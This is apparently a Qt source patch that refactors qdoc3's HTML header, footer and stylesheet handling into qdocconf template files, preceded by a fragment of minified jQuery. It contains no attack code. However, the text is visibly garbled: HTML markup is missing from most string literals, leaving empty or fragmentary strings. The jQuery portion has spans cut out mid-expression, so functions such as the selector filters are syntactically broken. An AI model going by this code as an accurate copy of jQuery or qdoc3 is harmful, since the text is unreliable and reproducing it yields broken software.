h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2=== -0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return hk[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k= -0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="? -k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g}; -try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id"); -return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href", -2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="

    ";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="
    ";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length=== -0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[], -l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var i=d;i0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e --1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(), -a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")}, -nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e): -e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!== -b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/"},F={option:[1,""],legend:[1,"
    ","
    "],thead:[1,"","
    "],tr:[2,"","
    "],td:[3,"","
    "], -col:[2,"","
    "],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
    ","
    "];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)}, -wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length? -d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments, -false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&& -!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/\n"; - out() << " \n"; - - - // Adding syntax highlighter // future release - - // Setting some additional style sheet related details depending on configuration (e.g. Online/Creator) - - switch (application) { - case Online: - // Adding style and js for small windows - out() << " \n"; - out() << " "; - out() << " \n"; - out() << " \n"; - // Browser spec styles - out() << " \n"; - out() << "\n"; - out() << "\n"; - out() << "\n"; - - out() << "\n"; - // CheckEmptyAndLoadList activating search - out() << "\n"; - break; - case Creator: - out() << "\n"; - out() << "\n"; // offline narrow - break; - default: - out() << "\n"; - out() << "\n"; - break; - } + + // Include style sheet and script links. + out() << headerStyles; + out() << headerScripts; + out() << endHeader; #ifdef GENERATE_MAC_REFS if (mainPage) generateMacRef(node, marker); #endif - switch (application) { - case Online: - out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - case Creator: - out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - default: // default -- not used except if one forgets to set any of the above settings to true - out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - } + out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); + generateBreadCrumbs(title,node,marker); + out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - navigationLinks.clear(); + navigationLinks.clear(); if (node && !node->links().empty()) { QPair linkPair; @@ -1960,30 +1900,8 @@ void HtmlGenerator::generateFooter(const Node *node) out() << QString(footer).replace("\\" + COMMAND_VERSION, myTree->version()) << QString(address).replace("\\" + COMMAND_VERSION, myTree->version()); - switch (application) { - case Online: - out() << " \n"; - out() << " \n"; - out() << "\n"; - break; - case Creator: - out() << "\n"; - break; - default: - out() << "\n"; - } - out() << "\n"; + out() << "\n"; + out() << "\n"; } void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index d885ada..1b3de9e 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -95,10 +95,6 @@ class HtmlGenerator : public PageGenerator LastSinceType }; - enum Application { - Online, - Creator}; - public: HtmlGenerator(); ~HtmlGenerator(); @@ -301,11 +297,13 @@ class HtmlGenerator : public PageGenerator bool inTableHeader; int numTableRows; bool threeColumnEnumValueTable; - Application application; QString link; QStringList sectionNumber; QRegExp funcLeftParen; QString style; + QString headerScripts; + QString headerStyles; + QString endHeader; QString postHeader; QString postPostHeader; QString creatorPostHeader; @@ -350,9 +348,6 @@ class HtmlGenerator : public PageGenerator #define HTMLGENERATOR_POSTPOSTHEADER "postpostheader" #define HTMLGENERATOR_CREATORPOSTHEADER "postheader" #define HTMLGENERATOR_CREATORPOSTPOSTHEADER "postpostheader" -#define HTMLGENERATOR_STYLE "style" -#define HTMLGENERATOR_STYLESHEETS "stylesheets" -#define HTMLGENERATOR_CUSTOMHEADELEMENTS "customheadelements" QT_END_NAMESPACE diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 2bfe38e..85b23e9 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -105,7 +105,6 @@ static bool showInternal = false; static bool obsoleteLinks = false; static QStringList defines; static QHash trees; -static QString appArg; // application /*! Find the Tree for language \a lang and return a pointer to it. @@ -193,24 +192,6 @@ static void processQdocconfFile(const QString &fileName) config.load(fileName); /* - Set the application to which qdoc will create the output. - The two applications are: - - creator: additional formatting for viewing in - the Creator application. - - online: full-featured online version with search and - links to Qt topics - */ - if (appArg.isEmpty()) { - qDebug() << "Warning: Application flag not specified on" - << "command line. Options are -creator (default)" - << "and -online."; - appArg = "creator"; - } - config.setStringList(CONFIG_APPLICATION, QStringList(appArg)); - - /* Add the defines to the configuration variables. */ QStringList defs = defines + config.getStringList(CONFIG_DEFINES); @@ -481,10 +462,6 @@ int main(int argc, char **argv) else if (opt == "-obsoletelinks") { obsoleteLinks = true; } - else if (opt == "-creator") - appArg = "creator"; - else if (opt == "-online") - appArg = "online"; else { qdocFiles.append(opt); } diff --git a/tools/qdoc3/test/qt-api-only.qdocconf b/tools/qdoc3/test/qt-api-only.qdocconf index cdd7a7c..36637d2 100644 --- a/tools/qdoc3/test/qt-api-only.qdocconf +++ b/tools/qdoc3/test/qt-api-only.qdocconf @@ -1,34 +1,2 @@ include(qt-build-docs.qdocconf) - -# Ensures that the generated index contains a URL that can be used by the -# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf, -# qmake.qdocconf). - -url = ./ - -# Ensures that the documentation for the tools is not included in the generated -# .qhp file. - -qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \ - $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \ - $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \ - $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc - -# Remove the QML documentation from the Qt-only documentation. - -excludedirs += $QT_SOURCE_TREE/src/imports - -outputdir = $QT_BUILD_TREE/doc-build/html-qt -tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags -base = file:$QT_BUILD_TREE/doc-build/html-qt +include(qt-project-api-only.qdocconf) diff --git a/tools/qdoc3/test/qt-build-docs-online.qdocconf b/tools/qdoc3/test/qt-build-docs-online.qdocconf new file mode 100644 index 0000000..2962845 --- /dev/null +++ b/tools/qdoc3/test/qt-build-docs-online.qdocconf @@ -0,0 +1,2 @@ +include(qt-project.qdocconf) +include(qt-html-templates-online.qdocconf) diff --git a/tools/qdoc3/test/qt-build-docs.qdocconf b/tools/qdoc3/test/qt-build-docs.qdocconf index dcabeb4..4dbe1cd 100644 --- a/tools/qdoc3/test/qt-build-docs.qdocconf +++ b/tools/qdoc3/test/qt-build-docs.qdocconf @@ -1,147 +1,2 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) +include(qt-project.qdocconf) include(qt-html-templates.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = en_US - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.indexTitle = Qt Reference Documentation -qhp.Qt.indexRoot = - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - - - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 -qhp.Qt.subprojects = classes overviews examples -qhp.Qt.subprojects.classes.title = Classes -qhp.Qt.subprojects.classes.indexTitle = Qt's Classes -qhp.Qt.subprojects.classes.selectors = class fake:headerfile -qhp.Qt.subprojects.classes.sortPages = true -qhp.Qt.subprojects.overviews.title = Overviews -qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs -qhp.Qt.subprojects.overviews.selectors = fake:page,group,module -qhp.Qt.subprojects.examples.title = Tutorials and Examples -qhp.Qt.subprojects.examples.indexTitle = Qt Examples -qhp.Qt.subprojects.examples.selectors = fake:example - -language = Cpp - -headerdirs = $QT_SOURCE_TREE/src \ - $QT_SOURCE_TREE/extensions/activeqt \ - $QT_SOURCE_TREE/tools/assistant/lib \ - $QT_SOURCE_TREE/tools/assistant/compat/lib \ - $QT_SOURCE_TREE/tools/designer/src/uitools \ - $QT_SOURCE_TREE/tools/designer/src/lib/extension \ - $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ - $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ - $QT_SOURCE_TREE/tools/qtestlib/src \ - $QT_SOURCE_TREE/tools/qdbus/src -sourcedirs = $QT_SOURCE_TREE/src \ - $QT_SOURCE_TREE/doc/src \ - $QT_SOURCE_TREE/extensions/activeqt \ - $QT_SOURCE_TREE/tools/assistant/lib \ - $QT_SOURCE_TREE/tools/assistant/compat/lib \ - $QT_SOURCE_TREE/tools/designer/src/uitools \ - $QT_SOURCE_TREE/tools/designer/src/lib/extension \ - $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ - $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ - $QT_SOURCE_TREE/tools/qtestlib/src \ - $QT_SOURCE_TREE/tools/qdbus - -excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ - $QT_SOURCE_TREE/src/3rdparty/des \ - $QT_SOURCE_TREE/src/3rdparty/freetype \ - $QT_SOURCE_TREE/src/3rdparty/harfbuzz \ - $QT_SOURCE_TREE/src/3rdparty/kdebase \ - $QT_SOURCE_TREE/src/3rdparty/libconninet \ - $QT_SOURCE_TREE/src/3rdparty/libjpeg \ - $QT_SOURCE_TREE/src/3rdparty/libmng \ - $QT_SOURCE_TREE/src/3rdparty/libpng \ - $QT_SOURCE_TREE/src/3rdparty/libtiff \ - $QT_SOURCE_TREE/src/3rdparty/md4 \ - $QT_SOURCE_TREE/src/3rdparty/md5 \ - $QT_SOURCE_TREE/src/3rdparty/patches \ - $QT_SOURCE_TREE/src/3rdparty/sha1 \ - $QT_SOURCE_TREE/src/3rdparty/sqlite \ - $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \ - $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \ - $QT_SOURCE_TREE/src/3rdparty/wintab \ - $QT_SOURCE_TREE/src/3rdparty/zlib \ - $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \ - $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \ - $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \ - $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \ - $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \ - $QT_SOURCE_TREE/doc/src/snippets \ - $QT_SOURCE_TREE/doc/src/ja_JP \ - $QT_SOURCE_TREE/doc/src/zh_CN - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" -examples.imageextensions = "*.png" - -exampledirs = $QT_SOURCE_TREE/doc/src \ - $QT_SOURCE_TREE/examples \ - $QT_SOURCE_TREE/examples/tutorials \ - $QT_SOURCE_TREE \ - $QT_SOURCE_TREE/qmake/examples \ - $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QT_SOURCE_TREE/doc/src/images \ - $QT_SOURCE_TREE/examples \ - $QT_SOURCE_TREE/doc/src/declarative/pics \ - $QT_SOURCE_TREE/doc/src/template/images -outputdir = $QT_BUILD_TREE/doc/html -tagfile = $QT_BUILD_TREE/doc/html/qt.tags -base = file:$QT_BUILD_TREE/doc/html - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt-defines.qdocconf b/tools/qdoc3/test/qt-defines.qdocconf index 51ee0d3..bf7fd08 100644 --- a/tools/qdoc3/test/qt-defines.qdocconf +++ b/tools/qdoc3/test/qt-defines.qdocconf @@ -15,48 +15,3 @@ defines = Q_QDOC \ versionsym = QT_VERSION_STR codeindent = 1 - -# Files not referenced in any qdoc file (last four needed by qtdemo) -# See also qhp.Qt.extraFiles -extraimages.HTML = qt-logo \ - trolltech-logo \ - bg_l.png \ - bg_l_blank.png \ - bg_ll_blank.png \ - bg_ul_blank.png \ - header_bg.png \ - bg_r.png \ - box_bg.png \ - breadcrumb.png \ - bullet_gt.png \ - bullet_dn.png \ - bullet_sq.png \ - bullet_up.png \ - arrow_down.png \ - feedbackground.png \ - horBar.png \ - page.png \ - page_bg.png \ - sprites-combined.png \ - spinner.gif \ - stylesheet-coffee-plastique.png \ - taskmenuextension-example.png \ - coloreditorfactoryimage.png \ - dynamiclayouts-example.png - -# This stuff is used by the new doc format. -scriptdirs = $QT_SOURCE_TREE/doc/src/template/scripts -styledirs = $QT_SOURCE_TREE/doc/src/template/style - -scripts.HTML = functions.js \ - narrow.js \ - superfish.js \ - jquery.js - -styles.HTML = style.css \ - narrow.css \ - superfish.css \ - superfish_skin.css \ - style_ie6.css \ - style_ie7.css \ - style_ie8.css diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf new file mode 100644 index 0000000..103f1e0 --- /dev/null +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -0,0 +1,51 @@ +# Define the location of the templates to use. Style sheets and scripts are +# specified relative to the template directory and will be copied into +# subdirectories of the output directory. + +HTML.templatedir = $QT_SOURCE_TREE/doc/src/template + +HTML.stylesheets = style/style.css + +HTML.scripts = scripts/functions.js \ + scripts/narrow.js \ + + +# Files not referenced in any qdoc file (last four needed by qtdemo) +# See also qhp.Qt.extraFiles +extraimages.HTML = qt-logo \ + trolltech-logo \ + bg_l.png \ + bg_l_blank.png \ + bg_ll_blank.png \ + bg_ul_blank.png \ + header_bg.png \ + bg_r.png \ + box_bg.png \ + breadcrumb.png \ + bullet_gt.png \ + bullet_dn.png \ + bullet_sq.png \ + bullet_up.png \ + arrow_down.png \ + feedbackground.png \ + horBar.png \ + page.png \ + page_bg.png \ + sprites-combined.png \ + spinner.gif \ + stylesheet-coffee-plastique.png \ + taskmenuextension-example.png \ + coloreditorfactoryimage.png \ + dynamiclayouts-example.png + +# Include the style sheets and scripts used. + +HTML.headerstyles = \ + " \n" \ + " \n" + +HTML.headerscripts = + +HTML.endheader = \ + "\n" \ + "\n" diff --git a/tools/qdoc3/test/qt-html-online-styles.qdocconf b/tools/qdoc3/test/qt-html-online-styles.qdocconf new file mode 100644 index 0000000..06f8964 --- /dev/null +++ b/tools/qdoc3/test/qt-html-online-styles.qdocconf @@ -0,0 +1,77 @@ +# Define the location of the templates to use. Style sheets and scripts are +# specified relative to the template directory and will be copied into +# subdirectories of the output directory. + +HTML.templatedir = $QT_SOURCE_TREE/doc/src/template + +HTML.stylesheets = style/narrow.css \ + style/style.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/superfish.css + +# Adding jquery and functions - providing online tools and search features +HTML.scripts = scripts/functions.js \ + scripts/narrow.js \ + scripts/superfish.js \ + scripts/jquery.js + + +# Files not referenced in any qdoc file (last four needed by qtdemo) +# See also qhp.Qt.extraFiles +extraimages.HTML = qt-logo \ + trolltech-logo \ + bg_l.png \ + bg_l_blank.png \ + bg_ll_blank.png \ + bg_ul_blank.png \ + header_bg.png \ + bg_r.png \ + box_bg.png \ + breadcrumb.png \ + bullet_gt.png \ + bullet_dn.png \ + bullet_sq.png \ + bullet_up.png \ + arrow_down.png \ + feedbackground.png \ + horBar.png \ + page.png \ + page_bg.png \ + sprites-combined.png \ + spinner.gif \ + stylesheet-coffee-plastique.png \ + taskmenuextension-example.png \ + coloreditorfactoryimage.png \ + dynamiclayouts-example.png + +# Include the style sheets and scripts used. + +HTML.headerstyles = \ + " \n" \ + " \n" \ + " \n" \ + " \n" \ + " \n" \ + " \n" \ + "\n" \ + "\n" \ + "\n\n" + +HTML.headerscripts = \ + "\n" \ + "\n\n" + +HTML.endheader = \ + "\n" \ + "\n" diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf new file mode 100644 index 0000000..64f99ad --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -0,0 +1,198 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Home
    \n" \ + " Qt Reference Documentation\n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Search index:
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " Close \n" \ + "

    All | API | Articles | Examples

    \n" \ + "

     results:

    \n" \ + "
      \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " API Lookup

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Qt Topics

    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Examples

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" + +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    Thank you for giving your feedback.

    Make sure it is related to this specific page. For more general bugs and \n" \ + " requests, please use the Qt Bug Tracker.

    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "\n" \ + " \n" \ + " \n" diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 698164d..5a2058a 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -1,186 +1,48 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css +include(qt-html-default-styles.qdocconf) -HTML.postheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " Home
    \n" \ - " Qt Reference Documentation\n" \ - "
    \n" \ - "
